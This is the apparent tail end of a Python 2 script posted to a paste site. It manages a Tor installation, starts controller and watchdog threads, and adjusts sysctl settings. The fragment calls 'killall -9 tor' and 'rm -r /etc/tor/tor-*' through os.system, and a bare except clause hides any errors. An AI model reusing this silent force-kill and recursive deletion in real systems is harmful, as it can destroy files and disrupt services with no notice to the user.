  1967. tor_version_file = Files().open('/etc/tor/tor_ver.txt')
  1968. if not tor_version_file:
  1969. os.system('killall -9 tor')
  1970. os.system('rm -r /etc/tor/tor-*')
  1971. Files().new('/etc/tor/tor_ver.txt', TOR_VERSION)
  1972. return
  1973. elif str(TOR_VERSION) not in str(tor_version_file.read()):
  1974. os.system('killall -9 tor')
  1975. os.system('rm -r /etc/tor/tor-*')
  1976. Files().new('/etc/tor/tor_ver.txt', TOR_VERSION)
  1977. except:
  1978. pass
  1979.  
  1980. checkTorVersion()
  1981.  
  1982. chunks = lambda l, n: [l[x: x+n] for x in xrange(0, len(l), n)]
  1983.  
  1984. Thread(target=Controller).start()
  1985. Thread(target=check_hang).start()
  1986.  
  1987. fix_sysctl()
  1988.  
  1989. try:
  1990. while 1:
  1991. time.sleep(.1)
  1992. except KeyboardInterrupt:
  1993. stop = 1
  1994.  
  1995. print('\nStopping...')
Add Comment
Please, Sign In to add comment